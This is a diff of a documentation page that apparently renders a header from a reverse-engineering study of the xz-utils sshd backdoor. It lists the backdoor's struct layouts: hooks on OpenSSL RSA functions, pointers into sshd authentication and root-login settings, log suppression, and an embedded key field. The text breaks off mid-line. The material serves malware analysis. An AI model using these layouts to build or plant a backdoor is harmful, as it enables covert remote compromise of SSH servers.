diff --git a/xzre_8h_source.html b/xzre_8h_source.html
index 641b415..efcedaa 100644
--- a/xzre_8h_source.html
+++ b/xzre_8h_source.html
@@ -575,1839 +575,1872 @@
-
- 561 #define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
-
- 563 #define assert_offset(t, f, o)
-
-
- 566 #define CONCAT(x, y) x ## y
- 567 #define EXPAND(x, y) CONCAT(x, y)
- 568 #define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
+
+ 561 PAYLOAD_STATE_INVALID = -1
+
+
+
+ 565 #define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
+
+ 567 #define assert_offset(t, f, o)
+
-
-
-
-
- 574 #define PERMIT_NOT_SET -1
-
- 576 #define PERMIT_FORCED_ONLY 1
- 577 #define PERMIT_NO_PASSWD 2
-
-
-
-
-
-
-
-
-
-
-
-
- 596 struct sshkey **host_keys;
- 597 struct sshkey **host_pubkeys;
- 598 struct sshkey **host_certificates;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 628 struct sshbuf *sk_key_handle;
- 629 struct sshbuf *sk_reserved;
-
- 631 struct sshkey_cert *cert;
-
- 633 u8 *shielded_private;
-
-
- 636 size_t shield_prekey_len;
-
-
- 639 typedef struct __attribute__((packed))
got_ctx {
-
-
-
-
-
-
-
- 663 assert_offset(
got_ctx_t, return_address, 0x8);
- 664 assert_offset(
got_ctx_t, cpuid_fn, 0x10);
- 665 assert_offset(
got_ctx_t, got_offset, 0x18);
- 666 static_assert(
sizeof(
got_ctx_t) == 0x20);
-
-
-
-
-
-
-
-
-
-
+ 570 #define CONCAT(x, y) x ## y
+ 571 #define EXPAND(x, y) CONCAT(x, y)
+ 572 #define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
+
+
+
+
+
+ 578 #define PERMIT_NOT_SET -1
+
+ 580 #define PERMIT_FORCED_ONLY 1
+ 581 #define PERMIT_NO_PASSWD 2
+
+
+
+
+
+
+
+
+
+
+
+
+ 600 struct sshkey **host_keys;
+ 601 struct sshkey **host_pubkeys;
+ 602 struct sshkey **host_certificates;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 632 struct sshbuf *sk_key_handle;
+ 633 struct sshbuf *sk_reserved;
+
+ 635 struct sshkey_cert *cert;
+
+ 637 u8 *shielded_private;
+
+
+ 640 size_t shield_prekey_len;
+
+
+ 643 typedef struct __attribute__((packed))
got_ctx {
+
+
+
+
+
+
+
+ 667 assert_offset(
got_ctx_t, return_address, 0x8);
+ 668 assert_offset(
got_ctx_t, cpuid_fn, 0x10);
+ 669 assert_offset(
got_ctx_t, got_offset, 0x18);
+ 670 static_assert(
sizeof(
got_ctx_t) == 0x20);
+
+
+
+
+
+
- 688 #define X86_MODRM_BYTE(mod, reg, rm) \
-
- 690 | (u8)(((mod) & 3) << 6) \
- 691 | (u8)(((reg) & 7) << 3) \
-
-
-
- 695 #define X86_REX_BYTE(w,r,x,b) \
-
- 697 | (u8)(((w) & 1) << 3) \
- 698 | (u8)(((r) & 1) << 2) \
- 699 | (u8)(((x) & 1) << 1) \
- 700 | (u8)(((b) & 1) << 0) \
-
-
- 703 #define X86_REX_W X86_REX_BYTE(1,0,0,0)
-
- 708 #define XZDASM_MODRM_MAKE(mod, reg, rm) \
-
- 710 | (u32)(((rm) & 0xFF)<< 24) \
- 711 | (u32)(((reg) & 0xFF) << 16) \
- 712 | (u32)(((mod) & 0xFF) << 8) \
- 713 | X86_MODRM_BYTE(mod, reg, rm) \
-
-
- 716 enum dasm_modrm_mask {
- 717 XZ_MODRM_RM = 0xFF000000,
- 718 XZ_MODRM_REG = 0x00FF0000,
- 719 XZ_MODRM_MOD = 0x0000FF00,
- 720 XZ_MODRM_RAW = 0x000000FF
-
-
-
-
- 725 u64 instruction_size;
-
- 727 struct __attribute__((packed)) {
-
-
-
-
-
-
-
-
-
-
-
- 745 struct __attribute__((packed)) {
-
-
-
-
-
-
-
-
-
-
- 756 struct __attribute__((packed)) {
-
-
-
-
-
-
-
-
-
-
-
- 768 struct __attribute__((packed)) {
-
- 770 struct __attribute__((packed)) {
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 785 u64 operand_zeroextended;
-
-
-
-
-
-
- 792 assert_offset(
dasm_ctx_t, instruction_size, 8);
-
-
- 795 assert_offset(
dasm_ctx_t, lock_rep_byte, 0x14);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 815 assert_offset(
dasm_ctx_t, operand_zeroextended, 0x40);
- 816 assert_offset(
dasm_ctx_t, operand_size, 0x48);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 883 Elf64_Versym *versym;
- 884 Elf64_Rela *rela_relocs;
-
-
- 887 Elf64_Relr *relr_relocs;
-
-
-
-
-
- 901 u64 rodata_segment_start;
- 902 u64 rodata_segment_size;
- 903 u64 data_segment_start;
- 904 u64 data_segment_size;
- 905 u64 data_segment_alignment;
-
-
-
-
-
- 917 u32 gnu_hash_bloom_shift;
-
-
- 920 u32 *gnu_hash_buckets;
-
-
-
-
-
-
-
-
- 929 assert_offset(
elf_info_t, dyn_num_entries, 0x28);
-
-
-
- 933 assert_offset(
elf_info_t, plt_relocs_num, 0x48);
- 934 assert_offset(
elf_info_t, gnurelro_found, 0x4C);
- 935 assert_offset(
elf_info_t, gnurelro_vaddr, 0x50);
- 936 assert_offset(
elf_info_t, gnurelro_memsize, 0x58);
-
-
-
-
- 941 assert_offset(
elf_info_t, rela_relocs_num, 0x80);
-
- 943 assert_offset(
elf_info_t, relr_relocs_num, 0x90);
- 944 assert_offset(
elf_info_t, code_segment_start, 0x98);
- 945 assert_offset(
elf_info_t, code_segment_size, 0xA0);
- 946 assert_offset(
elf_info_t, rodata_segment_start, 0xA8);
- 947 assert_offset(
elf_info_t, rodata_segment_size, 0xB0);
- 948 assert_offset(
elf_info_t, data_segment_start, 0xB8);
- 949 assert_offset(
elf_info_t, data_segment_size, 0xC0);
- 950 assert_offset(
elf_info_t, data_segment_alignment, 0xC8);
-
- 952 assert_offset(
elf_info_t, gnu_hash_nbuckets, 0xd8);
- 953 assert_offset(
elf_info_t, gnu_hash_last_bloom, 0xdc);
- 954 assert_offset(
elf_info_t, gnu_hash_bloom_shift, 0xe0);
- 955 assert_offset(
elf_info_t, gnu_hash_bloom, 0xe8);
- 956 assert_offset(
elf_info_t, gnu_hash_buckets, 0xf0);
- 957 assert_offset(
elf_info_t, gnu_hash_chain, 0xf8);
-
-
-
- 961 u32 resolved_imports_count;
-
- 963 size_t (*malloc_usable_size)(
void *ptr);
- 964 uid_t (*getuid)(void);
- 965 void (*exit)(
int status);
- 966 int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid);
- 967 int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
- 968 int (*system)(
const char *command);
- 969 ssize_t (*write)(
int fd,
const void *buf,
size_t count);
-
- 971 int nfds, fd_set *readfds, fd_set *writefds,
- 972 fd_set *exceptfds,
const struct timespec *timeout,
- 973 const sigset_t *sigmask);
- 974 ssize_t (*read)(
int fd,
void *buf,
size_t count);
- 975 int *(*__errno_location)(void);
- 976 int (*setlogmask)(
int mask);
- 977 int (*shutdown)(
int sockfd,
int how);
- 978 void *__libc_stack_end;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 997 typedef int (*pfn_RSA_public_decrypt_t)(
- 998 int flen,
unsigned char *from,
unsigned char *to,
- 999 RSA *rsa,
int padding);
- 1000 typedef int (*pfn_EVP_PKEY_set1_RSA_t)(EVP_PKEY *pkey,
struct rsa_st *key);
- 1001 typedef void (*pfn_RSA_get0_key_t)(
-
- 1003 const BIGNUM **n,
const BIGNUM **e,
const BIGNUM **d);
-
-
-
- 1007 pfn_EVP_PKEY_set1_RSA_t EVP_PKEY_set1_RSA;
-
- 1009 void (*RSA_get0_key_null)(
- 1010 const RSA *r,
const BIGNUM **n,
- 1011 const BIGNUM **e,
const BIGNUM **d);
- 1016 pfn_RSA_public_decrypt_t *RSA_public_decrypt_plt;
- 1021 pfn_EVP_PKEY_set1_RSA_t *EVP_PKEY_set1_RSA_plt;
- 1026 pfn_RSA_get0_key_t *RSA_get0_key_plt;
- 1027 void (*DSA_get0_pqg)(
- 1028 const DSA *d,
const BIGNUM **p,
- 1029 const BIGNUM **q,
const BIGNUM **g);
- 1030 const BIGNUM *(*DSA_get0_pub_key)(
const DSA *d);
- 1031 size_t (*EC_POINT_point2oct)(
- 1032 const EC_GROUP *group,
const EC_POINT *p,
- 1033 point_conversion_form_t form,
unsigned char *buf,
- 1034 size_t len, BN_CTX *ctx);
- 1035 EC_POINT *(*EC_KEY_get0_public_key)(
const EC_KEY *key);
- 1036 const EC_GROUP *(*EC_KEY_get0_group)(
const EC_KEY *key);
- 1037 EVP_MD *(*EVP_sha256)(void);
- 1038 pfn_RSA_get0_key_t RSA_get0_key;
- 1039 int (*BN_num_bits)(
const BIGNUM *a);
- 1040 EVP_PKEY *(*EVP_PKEY_new_raw_public_key)(
- 1041 int type, ENGINE *e,
- 1042 const unsigned char *key,
size_t keylen);
- 1043 EVP_MD_CTX *(*EVP_MD_CTX_new)(void);
- 1044 int (*EVP_DigestVerifyInit)(
- 1045 EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
- 1046 const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
- 1047 int (*EVP_DigestVerify)(
- 1048 EVP_MD_CTX *ctx,
const unsigned char *sig,
- 1049 size_t siglen,
const unsigned char *tbs,
size_t tbslen);
- 1050 void (*EVP_MD_CTX_free)(EVP_MD_CTX *ctx);
- 1051 void (*EVP_PKEY_free)(EVP_PKEY *key);
- 1052 EVP_CIPHER_CTX *(*EVP_CIPHER_CTX_new)(void);
- 1053 int (*EVP_DecryptInit_ex)(
- 1054 EVP_CIPHER_CTX *ctx,
const EVP_CIPHER *type,
- 1055 ENGINE *impl,
const unsigned char *key,
const unsigned char *iv);
- 1056 int (*EVP_DecryptUpdate)(
- 1057 EVP_CIPHER_CTX *ctx,
unsigned char *out,
- 1058 int *outl,
const unsigned char *in,
int inl);
- 1059 int (*EVP_DecryptFinal_ex)(EVP_CIPHER_CTX *ctx,
unsigned char *outm,
int *outl);
- 1060 void (*EVP_CIPHER_CTX_free)(EVP_CIPHER_CTX *ctx);
- 1061 const EVP_CIPHER *(*EVP_chacha20)(void);
- 1062 RSA *(*RSA_new)(void);
- 1063 BIGNUM *(*BN_dup)(
const BIGNUM *from);
- 1064 BIGNUM *(*BN_bin2bn)(
const unsigned char *s,
int len, BIGNUM *ret);
- 1065 int (*RSA_set0_key)(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
-
- 1067 const void *data,
size_t count,
unsigned char *md,
- 1068 unsigned int *size,
const EVP_MD *type, ENGINE *impl);
-
-
- 1071 const unsigned char *m,
unsigned int m_len,
- 1072 unsigned char *sigret,
unsigned int *siglen, RSA *rsa);
- 1073 int (*BN_bn2bin)(
const BIGNUM *a,
unsigned char *to);
- 1074 void (*RSA_free)(RSA *rsa);
- 1075 void (*BN_free)(BIGNUM *a);
-
- 1077 u32 resolved_imports_count;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1123 typedef int (*sshd_monitor_func_t)(
struct ssh *ssh,
int sock,
struct sshbuf *m);
-
-
- 1126 BOOL have_mm_answer_keyallowed;
- 1127 BOOL have_mm_answer_authpassword;
- 1128 BOOL have_mm_answer_keyverify;
-
-
- 1131 void *mm_answer_keyallowed;
- 1132 void *mm_answer_keyverify;
- 1133 void *mm_answer_authpassword_start;
- 1134 void *mm_answer_authpassword_end;
- 1135 sshd_monitor_func_t *mm_answer_authpassword_ptr;
- 1136 int monitor_reqtype_authpassword;
-
- 1138 void *mm_answer_keyallowed_start;
- 1139 void *mm_answer_keyallowed_end;
- 1140 void *mm_answer_keyallowed_ptr;
- 1141 u32 mm_answer_keyallowed_reqtype;
-
- 1143 void *mm_answer_keyverify_start;
- 1144 void *mm_answer_keyverify_end;
- 1145 void *mm_answer_keyverify_ptr;
-
-
-
-
-
-
- 1152 char *STR_unknown_ptr;
- 1153 void *mm_request_send_start;
- 1154 void *mm_request_send_end;
- 1155 PADDING(
sizeof(u32));
- 1156 PADDING(
sizeof(u32));
-
- 1158 int *permit_root_login_ptr;
- 1159 char *STR_without_password;
- 1160 char *STR_publickey;
-
-
- 1163 assert_offset(
sshd_ctx_t, have_mm_answer_keyallowed, 0x0);
- 1164 assert_offset(
sshd_ctx_t, have_mm_answer_authpassword, 0x4);
- 1165 assert_offset(
sshd_ctx_t, have_mm_answer_keyverify, 0x8);
-
- 1167 assert_offset(
sshd_ctx_t, mm_answer_keyallowed, 0x18);
- 1168 assert_offset(
sshd_ctx_t, mm_answer_keyverify, 0x20);
- 1169 assert_offset(
sshd_ctx_t, mm_answer_authpassword_start, 0x28);
- 1170 assert_offset(
sshd_ctx_t, mm_answer_authpassword_end, 0x30);
- 1171 assert_offset(
sshd_ctx_t, mm_answer_authpassword_ptr, 0x38);
- 1172 assert_offset(
sshd_ctx_t, monitor_reqtype_authpassword, 0x40);
- 1173 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
- 1174 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
- 1175 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_ptr, 0x58);
- 1176 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_reqtype, 0x60);
- 1177 assert_offset(
sshd_ctx_t, mm_answer_keyverify_start, 0x68);
- 1178 assert_offset(
sshd_ctx_t, mm_answer_keyverify_end, 0x70);
- 1179 assert_offset(
sshd_ctx_t, mm_answer_keyverify_ptr, 0x78);
- 1180 assert_offset(
sshd_ctx_t, writebuf_size, 0x84);
-
- 1182 assert_offset(
sshd_ctx_t, STR_unknown_ptr, 0xA0);
- 1183 assert_offset(
sshd_ctx_t, mm_request_send_start, 0xA8);
- 1184 assert_offset(
sshd_ctx_t, mm_request_send_end, 0xB0);
- 1185 assert_offset(
sshd_ctx_t, use_pam_ptr, 0xC0);
- 1186 assert_offset(
sshd_ctx_t, permit_root_login_ptr, 0xC8);
- 1187 assert_offset(
sshd_ctx_t, STR_without_password, 0xD0);
- 1188 assert_offset(
sshd_ctx_t, STR_publickey, 0xD8);
-
-
-
-
-
-
- 1195 SYSLOG_LEVEL_VERBOSE,
- 1196 SYSLOG_LEVEL_DEBUG1,
- 1197 SYSLOG_LEVEL_DEBUG2,
- 1198 SYSLOG_LEVEL_DEBUG3,
- 1199 SYSLOG_LEVEL_NOT_SET = -1
-
-
- 1202 typedef void (*log_handler_fn)(
-
-
-
-
-
-
- 1209 BOOL logging_disabled;
- 1210 BOOL log_hooking_possible;
- 1211 BOOL syslog_disabled;
-
- 1213 char *STR_percent_s;
- 1214 char *STR_Connection_closed_by;
-
- 1216 char *STR_authenticating;
-
-
-
- 1220 void *log_handler_ptr;
- 1221 void *log_handler_ctx_ptr;
- 1222 log_handler_fn orig_log_handler;
- 1223 void *orig_log_handler_ctx;
-
- 1225 void (*mm_log_handler)(
int level,
int forced,
const char *msg,
void *ctx);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1246 struct __attribute__((packed)) {
-
-
-
-
-
-
-
- 1254 struct __attribute__((packed)) {
- 1255 u8 sshbuf_data_qword_index;
- 1256 u8 sshbuf_size_qword_index;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1314 struct monitor **struct_monitor_ptr_address;
-
-
-
-
-
-
-
-
-
-
-
-
- 1351 u64 sock_read_buf_size;
- 1352 u8 sock_read_buf[64];
- 1353 u64 payload_data_size;
-
-
-
-
- 1358 u32 sshd_host_pubkey_idx;
-
- 1363 u8 secret_data[ED448_KEY_SIZE];
- 1369 u8 shift_operations[31];
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1414 pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1517 void (*_dl_audit_symbind_alt)(
struct link_map *l,
const ElfW(Sym) *ref,
void **value, lookup_t result);
-
-
- 1533 pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
- 1538 pfn_RSA_get0_key_t hook_RSA_get0_key;
-
- 1540 u64 hooks_installed;
-
-
- 1543 assert_offset(
ldso_ctx_t, libcrypto_auditstate_bindflags_ptr, 0x40);
- 1544 assert_offset(
ldso_ctx_t, libcrypto_auditstate_bindflags_old_value, 0x48);
- 1545 assert_offset(
ldso_ctx_t, sshd_auditstate_bindflags_ptr, 0x50);
- 1546 assert_offset(
ldso_ctx_t, sshd_auditstate_bindflags_old_value, 0x58);
- 1547 assert_offset(
ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60);
- 1548 assert_offset(
ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68);
- 1549 assert_offset(
ldso_ctx_t, _dl_audit_ptr, 0x70);
- 1550 assert_offset(
ldso_ctx_t, _dl_naudit_ptr, 0x78);
- 1551 assert_offset(
ldso_ctx_t, hooked_audit_ifaces, 0x80);
-
- 1553 assert_offset(
ldso_ctx_t, libcrypto_l_name, 0xF8);
- 1554 assert_offset(
ldso_ctx_t, _dl_audit_symbind_alt, 0x100);
- 1555 assert_offset(
ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108);
-
- 1557 assert_offset(
ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118);
- 1558 assert_offset(
ldso_ctx_t, hook_RSA_get0_key, 0x120);
-
- 1560 assert_offset(
ldso_ctx_t, hooks_installed, 0x130);
-
-
-
-
-
-
-
-
-
-
- 1571 u64 signed_data_size;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1589 uintptr_t (*symbind64)(
- 1590 Elf64_Sym *sym,
unsigned int ndx,
- 1591 uptr *refcook, uptr *defcook,
- 1592 unsigned int flags,
const char *symname);
-
- 1594 pfn_RSA_get0_key_t hook_RSA_get0_key;
- 1595 log_handler_fn mm_log_handler;
- 1596 PADDING(
sizeof(
void *));
- 1597 PADDING(
sizeof(
void *));
- 1598 sshd_monitor_func_t mm_answer_keyallowed;
- 1599 sshd_monitor_func_t mm_answer_keyverify;
- 1600 PADDING(
sizeof(
void *));
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+ 692 #define X86_MODRM_BYTE(mod, reg, rm) \
+
+ 694 | (u8)(((mod) & 3) << 6) \
+ 695 | (u8)(((reg) & 7) << 3) \
+
+
+
+ 699 #define X86_REX_BYTE(w,r,x,b) \
+
+ 701 | (u8)(((w) & 1) << 3) \
+ 702 | (u8)(((r) & 1) << 2) \
+ 703 | (u8)(((x) & 1) << 1) \
+ 704 | (u8)(((b) & 1) << 0) \
+
+
+ 707 #define X86_REX_W X86_REX_BYTE(1,0,0,0)
+
+ 712 #define XZDASM_MODRM_MAKE(mod, reg, rm) \
+
+ 714 | (u32)(((rm) & 0xFF)<< 24) \
+ 715 | (u32)(((reg) & 0xFF) << 16) \
+ 716 | (u32)(((mod) & 0xFF) << 8) \
+ 717 | X86_MODRM_BYTE(mod, reg, rm) \
+
+
+ 720 enum dasm_modrm_mask {
+ 721 XZ_MODRM_RM = 0xFF000000,
+ 722 XZ_MODRM_REG = 0x00FF0000,
+ 723 XZ_MODRM_MOD = 0x0000FF00,
+ 724 XZ_MODRM_RAW = 0x000000FF
+
+
+
+
+ 729 u64 instruction_size;
+
+ 731 struct __attribute__((packed)) {
+
+
+
+
+
+
+
+
+
+
+
+ 749 struct __attribute__((packed)) {
+
+
+
+
+
+
+
+
+
+
+ 760 struct __attribute__((packed)) {
+
+
+
+
+
+
+
+
+
+
+
+ 772 struct __attribute__((packed)) {
+
+ 774 struct __attribute__((packed)) {
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 789 u64 operand_zeroextended;
+
+
+
+
+
+
+ 796 assert_offset(
dasm_ctx_t, instruction_size, 8);
+
+
+ 799 assert_offset(
dasm_ctx_t, lock_rep_byte, 0x14);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 819 assert_offset(
dasm_ctx_t, operand_zeroextended, 0x40);
+ 820 assert_offset(
dasm_ctx_t, operand_size, 0x48);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 887 Elf64_Versym *versym;
+ 888 Elf64_Rela *rela_relocs;
+
+
+ 891 Elf64_Relr *relr_relocs;
+
+
+
+
+
+ 905 u64 rodata_segment_start;
+ 906 u64 rodata_segment_size;
+ 907 u64 data_segment_start;
+ 908 u64 data_segment_size;
+ 909 u64 data_segment_alignment;
+
+
+
+
+
+ 921 u32 gnu_hash_bloom_shift;
+
+
+ 924 u32 *gnu_hash_buckets;
+
+
+
+
+
+
+
+
+ 933 assert_offset(
elf_info_t, dyn_num_entries, 0x28);
+
+
+
+ 937 assert_offset(
elf_info_t, plt_relocs_num, 0x48);
+ 938 assert_offset(
elf_info_t, gnurelro_found, 0x4C);
+ 939 assert_offset(
elf_info_t, gnurelro_vaddr, 0x50);
+ 940 assert_offset(
elf_info_t, gnurelro_memsize, 0x58);
+
+
+
+
+ 945 assert_offset(
elf_info_t, rela_relocs_num, 0x80);
+
+ 947 assert_offset(
elf_info_t, relr_relocs_num, 0x90);
+ 948 assert_offset(
elf_info_t, code_segment_start, 0x98);
+ 949 assert_offset(
elf_info_t, code_segment_size, 0xA0);
+ 950 assert_offset(
elf_info_t, rodata_segment_start, 0xA8);
+ 951 assert_offset(
elf_info_t, rodata_segment_size, 0xB0);
+ 952 assert_offset(
elf_info_t, data_segment_start, 0xB8);
+ 953 assert_offset(
elf_info_t, data_segment_size, 0xC0);
+ 954 assert_offset(
elf_info_t, data_segment_alignment, 0xC8);
+
+ 956 assert_offset(
elf_info_t, gnu_hash_nbuckets, 0xd8);
+ 957 assert_offset(
elf_info_t, gnu_hash_last_bloom, 0xdc);
+ 958 assert_offset(
elf_info_t, gnu_hash_bloom_shift, 0xe0);
+ 959 assert_offset(
elf_info_t, gnu_hash_bloom, 0xe8);
+ 960 assert_offset(
elf_info_t, gnu_hash_buckets, 0xf0);
+ 961 assert_offset(
elf_info_t, gnu_hash_chain, 0xf8);
+
+
+
+ 965 u32 resolved_imports_count;
+
+ 967 size_t (*malloc_usable_size)(
void *ptr);
+ 968 uid_t (*getuid)(void);
+ 969 void (*exit)(
int status);
+ 970 int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid);
+ 971 int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
+ 972 int (*system)(
const char *command);
+ 973 ssize_t (*write)(
int fd,
const void *buf,
size_t count);
+
+ 975 int nfds, fd_set *readfds, fd_set *writefds,
+ 976 fd_set *exceptfds,
const struct timespec *timeout,
+ 977 const sigset_t *sigmask);
+ 978 ssize_t (*read)(
int fd,
void *buf,
size_t count);
+ 979 int *(*__errno_location)(void);
+ 980 int (*setlogmask)(
int mask);
+ 981 int (*shutdown)(
int sockfd,
int how);
+ 982 void *__libc_stack_end;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1001 typedef int (*pfn_RSA_public_decrypt_t)(
+ 1002 int flen,
unsigned char *from,
unsigned char *to,
+ 1003 RSA *rsa,
int padding);
+ 1004 typedef int (*pfn_EVP_PKEY_set1_RSA_t)(EVP_PKEY *pkey,
struct rsa_st *key);
+ 1005 typedef void (*pfn_RSA_get0_key_t)(
+
+ 1007 const BIGNUM **n,
const BIGNUM **e,
const BIGNUM **d);
+
+
+
+ 1011 pfn_EVP_PKEY_set1_RSA_t EVP_PKEY_set1_RSA;
+
+ 1013 void (*RSA_get0_key_null)(
+ 1014 const RSA *r,
const BIGNUM **n,
+ 1015 const BIGNUM **e,
const BIGNUM **d);
+ 1020 pfn_RSA_public_decrypt_t *RSA_public_decrypt_plt;
+ 1025 pfn_EVP_PKEY_set1_RSA_t *EVP_PKEY_set1_RSA_plt;
+ 1030 pfn_RSA_get0_key_t *RSA_get0_key_plt;
+ 1031 void (*DSA_get0_pqg)(
+ 1032 const DSA *d,
const BIGNUM **p,
+ 1033 const BIGNUM **q,
const BIGNUM **g);
+ 1034 const BIGNUM *(*DSA_get0_pub_key)(
const DSA *d);
+ 1035 size_t (*EC_POINT_point2oct)(
+ 1036 const EC_GROUP *group,
const EC_POINT *p,
+ 1037 point_conversion_form_t form,
unsigned char *buf,
+ 1038 size_t len, BN_CTX *ctx);
+ 1039 EC_POINT *(*EC_KEY_get0_public_key)(
const EC_KEY *key);
+ 1040 const EC_GROUP *(*EC_KEY_get0_group)(
const EC_KEY *key);
+ 1041 EVP_MD *(*EVP_sha256)(void);
+ 1042 pfn_RSA_get0_key_t RSA_get0_key;
+ 1043 int (*BN_num_bits)(
const BIGNUM *a);
+ 1044 EVP_PKEY *(*EVP_PKEY_new_raw_public_key)(
+ 1045 int type, ENGINE *e,
+ 1046 const unsigned char *key,
size_t keylen);
+ 1047 EVP_MD_CTX *(*EVP_MD_CTX_new)(void);
+ 1048 int (*EVP_DigestVerifyInit)(
+ 1049 EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
+ 1050 const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
+ 1051 int (*EVP_DigestVerify)(
+ 1052 EVP_MD_CTX *ctx,
const unsigned char *sig,
+ 1053 size_t siglen,
const unsigned char *tbs,
size_t tbslen);
+ 1054 void (*EVP_MD_CTX_free)(EVP_MD_CTX *ctx);
+ 1055 void (*EVP_PKEY_free)(EVP_PKEY *key);
+ 1056 EVP_CIPHER_CTX *(*EVP_CIPHER_CTX_new)(void);
+ 1057 int (*EVP_DecryptInit_ex)(
+ 1058 EVP_CIPHER_CTX *ctx,
const EVP_CIPHER *type,
+ 1059 ENGINE *impl,
const unsigned char *key,
const unsigned char *iv);
+ 1060 int (*EVP_DecryptUpdate)(
+ 1061 EVP_CIPHER_CTX *ctx,
unsigned char *out,
+ 1062 int *outl,
const unsigned char *in,
int inl);
+ 1063 int (*EVP_DecryptFinal_ex)(EVP_CIPHER_CTX *ctx,
unsigned char *outm,
int *outl);
+ 1064 void (*EVP_CIPHER_CTX_free)(EVP_CIPHER_CTX *ctx);
+ 1065 const EVP_CIPHER *(*EVP_chacha20)(void);
+ 1066 RSA *(*RSA_new)(void);
+ 1067 BIGNUM *(*BN_dup)(
const BIGNUM *from);
+ 1068 BIGNUM *(*BN_bin2bn)(
const unsigned char *s,
int len, BIGNUM *ret);
+ 1069 int (*RSA_set0_key)(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
+
+ 1071 const void *data,
size_t count,
unsigned char *md,
+ 1072 unsigned int *size,
const EVP_MD *type, ENGINE *impl);
+
+
+ 1075 const unsigned char *m,
unsigned int m_len,
+ 1076 unsigned char *sigret,
unsigned int *siglen, RSA *rsa);
+ 1077 int (*BN_bn2bin)(
const BIGNUM *a,
unsigned char *to);
+ 1078 void (*RSA_free)(RSA *rsa);
+ 1079 void (*BN_free)(BIGNUM *a);
+
+ 1081 u32 resolved_imports_count;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1127 typedef int (*sshd_monitor_func_t)(
struct ssh *ssh,
int sock,
struct sshbuf *m);
+
+
+ 1130 BOOL have_mm_answer_keyallowed;
+ 1131 BOOL have_mm_answer_authpassword;
+ 1132 BOOL have_mm_answer_keyverify;
+
+
+ 1135 void *mm_answer_keyallowed;
+ 1136 void *mm_answer_keyverify;
+ 1137 void *mm_answer_authpassword_start;
+ 1138 void *mm_answer_authpassword_end;
+ 1139 sshd_monitor_func_t *mm_answer_authpassword_ptr;
+ 1140 int monitor_reqtype_authpassword;
+
+ 1142 void *mm_answer_keyallowed_start;
+ 1143 void *mm_answer_keyallowed_end;
+ 1144 void *mm_answer_keyallowed_ptr;
+ 1145 u32 mm_answer_keyallowed_reqtype;
+
+ 1147 void *mm_answer_keyverify_start;
+ 1148 void *mm_answer_keyverify_end;
+ 1149 void *mm_answer_keyverify_ptr;
+
+
+
+
+
+
+ 1156 char *STR_unknown_ptr;
+ 1157 void *mm_request_send_start;
+ 1158 void *mm_request_send_end;
+ 1159 PADDING(
sizeof(u32));
+ 1160 PADDING(
sizeof(u32));
+
+ 1162 int *permit_root_login_ptr;
+ 1163 char *STR_without_password;
+ 1164 char *STR_publickey;
+
+
+ 1167 assert_offset(
sshd_ctx_t, have_mm_answer_keyallowed, 0x0);
+ 1168 assert_offset(
sshd_ctx_t, have_mm_answer_authpassword, 0x4);
+ 1169 assert_offset(
sshd_ctx_t, have_mm_answer_keyverify, 0x8);
+
+ 1171 assert_offset(
sshd_ctx_t, mm_answer_keyallowed, 0x18);
+ 1172 assert_offset(
sshd_ctx_t, mm_answer_keyverify, 0x20);
+ 1173 assert_offset(
sshd_ctx_t, mm_answer_authpassword_start, 0x28);
+ 1174 assert_offset(
sshd_ctx_t, mm_answer_authpassword_end, 0x30);
+ 1175 assert_offset(
sshd_ctx_t, mm_answer_authpassword_ptr, 0x38);
+ 1176 assert_offset(
sshd_ctx_t, monitor_reqtype_authpassword, 0x40);
+ 1177 assert_offset(
